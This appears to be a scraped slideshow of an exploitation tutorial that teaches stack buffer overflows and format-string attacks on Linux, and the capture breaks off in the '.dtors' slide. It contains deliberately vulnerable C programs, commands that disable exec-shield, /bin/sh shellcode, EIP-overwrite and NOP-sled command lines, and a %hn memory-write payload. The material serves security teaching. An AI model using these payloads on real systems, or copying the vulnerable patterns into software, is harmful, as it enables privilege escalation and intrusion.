sploit 101 buffer overflows, format strings, heap overflows simple nomad nomad mobile research...

Click here to load reader

Post on 16-Dec-2015




1 download

Embed Size (px)


  • Slide 1
  • Sploit 101 Buffer Overflows, Format Strings, Heap Overflows Simple Nomad nomad mobile research centre
  • Slide 2
  • Warning Very geeky presentation Assumes you are smart or willing to learn Extremely technical Questions are welcomed, but I will probably skip over basics in lieu of time
  • Slide 3
  • Basics For Sploit Testing Linux GCC, NASM (if you roll your own shellcode, not covered in this presentation), Perl, gdb, basic development tools Turn off exec-shield (e.g. Fedora Core 3) # echo 0 > /proc/sys/kernel/exec-shield # echo 0 > /proc/sys/kernel/exec-shield-randomize Windows (these are free) Microsoft C/C++ Optimizing Compiler and Linker http://msdn.microsoft.com/visualc/vctoolkit2003/ Debugging Tools http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx Active Perl http://www.activestate.com/Products/ActivePerl/ Note that this presentation covers only Linux, not Windows
  • Slide 4
  • The Buffer Overflow A buffer is defined with a fixed length End user supplies the data to go into the buffer More data than the buffer has allocated is supplied Buffer is overflowed If we can overwrite certain portions of the running programs memory space, we can possibly control the program flow If we can control program flow, we can (possibly) execute our own code If the program is a network daemon we can remotely gain access If the program is SUID root, we can potentially elevate privileges If the program is a daemon running as root, we can potentially gain remote root privileges
  • Slide 5
  • Example Vuln Program If called as./overflow hello it runs fine If called as./overflow `perl e print Ax600` it segfaults due to an overflow of the buffer // overflow.c #include do_stuff(char *temp1) { char name[400]; strcpy(name, temp1); printf(Subroutine output: %s\n,name); } main(int argc,char * argv[]) { do_stuff(argv[1]); printf(Main output: %s\n,argv[1]); }
  • Slide 6
  • Program Layout in Memory.text Machine instructions.data Initialized variables, e.g. int a=0;.bss Uninitialized variables, e.g. int a; Heap dynamically allocated variables, grows in size towards the stack Stack tracks function calls recursively, grows in size towards the heap Environment/Arguments system-level variables (e.g. PATH) and command-line arguments given at runtime
  • Slide 7
  • Program Layout in Memory.text.data.bss heap unused stack env
  • Slide 8
  • Important Stack Info - Registers General registers 4 32-bit (EAX, EBX, ECX, EDX), 4 16-bit (AX, BX, CX, DX), 8 8-bit (AH, BH, CH, DH, AL, BL, CL, DL) Segment registers CS, SS, DS, ES, FS, GS Offset registers EBP (extended base pointer), ESI (extended source index), EDI (extended destination index), ESP (extended stack pointer) Special registers EFLAGS, EIP (extended instruction pointer) As exploiters of buffer overflows, we care most about EIP and ESP If we can overwrite EIP, we control the pointer to the next instruction for the processor, i.e. program flow If we know the value of ESP, we know where the stack is in memory, and have a reference on where to point EIP If we place our shellcode on the stack, we can point EIP to it using our knowledge of ESP We can even cheat, and simply get close to our shellcode via a NOP sled
  • Slide 9
  • Getting ESP This can be called individually, but in the case of local privilege escalation, from within our exploit program: #include unsigned long get_sp(void) { __asm__(movl %esp, %eax); } int main() { printf(Stack pointer (ESP): 0x%p\n,get_sp()); }
  • Slide 10
  • Shellcode Assembly language instructions that typically launch a shell Usually the tighter and smaller the code, the better Many examples exist on the Internet If you have assembler skills, you can use NASM and roll your own Resources exist on the Internet and in books in the construction of shellcode, for both *nix and Windows systems
  • Slide 11
  • Example of Shellcode (Aleph1) char shellcode[] = \x31\xc0\x31\xdb\xb0\x17\xcd\x80 \xeb\x1f\x5e\x89\x76\x08\x31\xc0 \x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c \xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh;
  • Slide 12
  • Using gdb To Find The Sweet Spot Launch vuln program under gdb You can also attach to running processes as well Run it while causing your segfault Examine the registers to check for success
  • Slide 13
  • gdb In Action $ gdb overflow... (gdb) run `perl -e 'print "A"x412'` Starting program: /home/thegnome/Projects/dc214/overflow `perl e 'print "A"x412'` Subroutine output: AAAA... Program received signal SIGSEGV, Segmentation fault. 0x00244151 in _dl_relocate_object_terminal () from /lib/ld-linux.so.2 (gdb) run `perl -e 'print "A"x416'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/thegnome/Projects/dc214/overflow `perl -e 'print "A"x416'` Subroutine output: AAAA... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg eip eip 0x41414141 0x41414141
  • Slide 14
  • Pulling This All Together EIPEBPVulnerable Buffer Repeated AddressesShellcodeNOP Sled./overflow `perl e print \x90x200;``cat sc``perl e print \xd8\xfb\xff\xbfx89;`
  • Slide 15
  • Live Demo
  • Slide 16
  • Small Buffer What if the buffer is really small? How do you exploit that? // overflow2.c int main(int argc, char * argv[]) { char buff[5]; strcpy(buff, argv[1]); return 0; }
  • Slide 17
  • Use An ENV Variable Put shellcode in an environment variable Compute return address: 0xbffffffa - strlen(shellcode) - strlen( ) to get address for EIP Overflow buffer with the computed return address
  • Slide 18
  • Small Buffer Layout 4 bytes of Null Prog nameShellcodeStackArgs/Env Address of shellcode0xbfffffff 0xbffffffa Formula: Overwrite EIP = 0xbffffffa - length of shellcode - length of vulnerable program name
  • Slide 19
  • Live Demo
  • Slide 20
  • Remote Exploits Usually unable to determine ESP on the remote system Educated guess by compiling/testing remotely If daemon is a part of a binary package (rpm or deb, for example) debug your own copy of the daemon first Brute force it (ugly and noisy) If you have the source code, compile it yourself (with the -ggdb option set for better debugging) Try to compile it with the same options as an rpm or deb you wish to exploit, that way you can get all the values such as ESP and the proper size of the payload correct Test with an rpm or deb package, until you get it right
  • Slide 21
  • Example Vulnerable Remote Program // nmrcd.c #include int stuff(char *tmp) { char buf2[1024]; strcpy(buf2,tmp); return(0); } int main(int argc,char **argv) { char buf[4096]; gets[buf]; stuff(buf); return(0); }
  • Slide 22
  • Assuming You Have Source Build a program to connect and send test data e.g. it should send As for you to determine the proper size of exploit to overwrite EIP Run daemon Compile with -ggdb switch for debugging Run test data program in gdb with a breakpoint set after connection and right before the data is sent Find daemon on target, and attach gdb by PID number Do a continue with the daemon, and then a continue with the test data program Check registers on the daemon, and repeat increasing size until you know ESP and a good size for overflowing Now construct your exploit In the demo, the exploit code uses different shellcode that binds a shell to port 4444
  • Slide 23
  • Live Demo
  • Slide 24
  • Format String Exploit The printf command outputs to stdout (usually the screen) The output can be manipulated by supplying formatted output of variables via tokens such as %s or %d: char *var[1000]; var = text; printf(The string contains %s\n,var); This is legal per POSIX as well, albeit vulnerable: char *var[1000]; var = argv[1]; printf(var); What if our input (argv[1]) contained format strings like %08x or %s or %n? The %s goes to stdout, but %n writes data back to the variable If there is no variable to output to stdout, the contents of the stack are sent to stdout, so %n will allow us to write to arbitrary memory locations
  • Slide 25
  • Vulnerable Format String Code // fmtstr.c #include int main(int argc,char *argv[]) { static int dc214=0; char temp[2048]; strcpy(temp,argv[1]); printf(temp); printf(\n); printf(dc214 at 0x%08x = 0x%08x\n,&dc214,dc214); }
  • Slide 26
  • Steps For Format String Exploitation Map out the stack Read arbitrary memory locations Writing to arbitrary memory.dtors Pull it all together for an exploit
  • Slide 27
  • Stack Mapping./fmtstr AAAA %08x %08x %08x %08x
  • Slide 28
  • Reading Memory Locations./fmtstr AAAA %08x %08x %08x %s./fmtstr `perl -e print `%08x %08x %08x %s./fmtstr `printf \x87\xfb\xff\xbf` %4\$s
  • Slide 29
  • Writing To Memory HOB < LOBLOB < HOBUsing examples from above [addr+2][addr] \xbe\x95\x04\x08\x bc\x95\x04\x08 %.[HOB-8]x%.[LOB-8]x%.49143x %[offset]$hn%[offset+1]$hn%4\$hn %[LOB - HOB]x%[HOB - LOB]x%.16086x %[offset+1]$hn%[offset]$hn%5\$hn Assuming our shellcode is 0xbffffed5, HOB is 0xbfff and LOB is 0xfed5, and that the target address is 0x080495bc./fmtstr `printf \xe6\x95\x04\x08\xe4\x95\x04\x08`%.49143x%4\$hn%.16086x%5\$hn
  • Slide 30
  • .dtors DTOR aka the Destructo

View more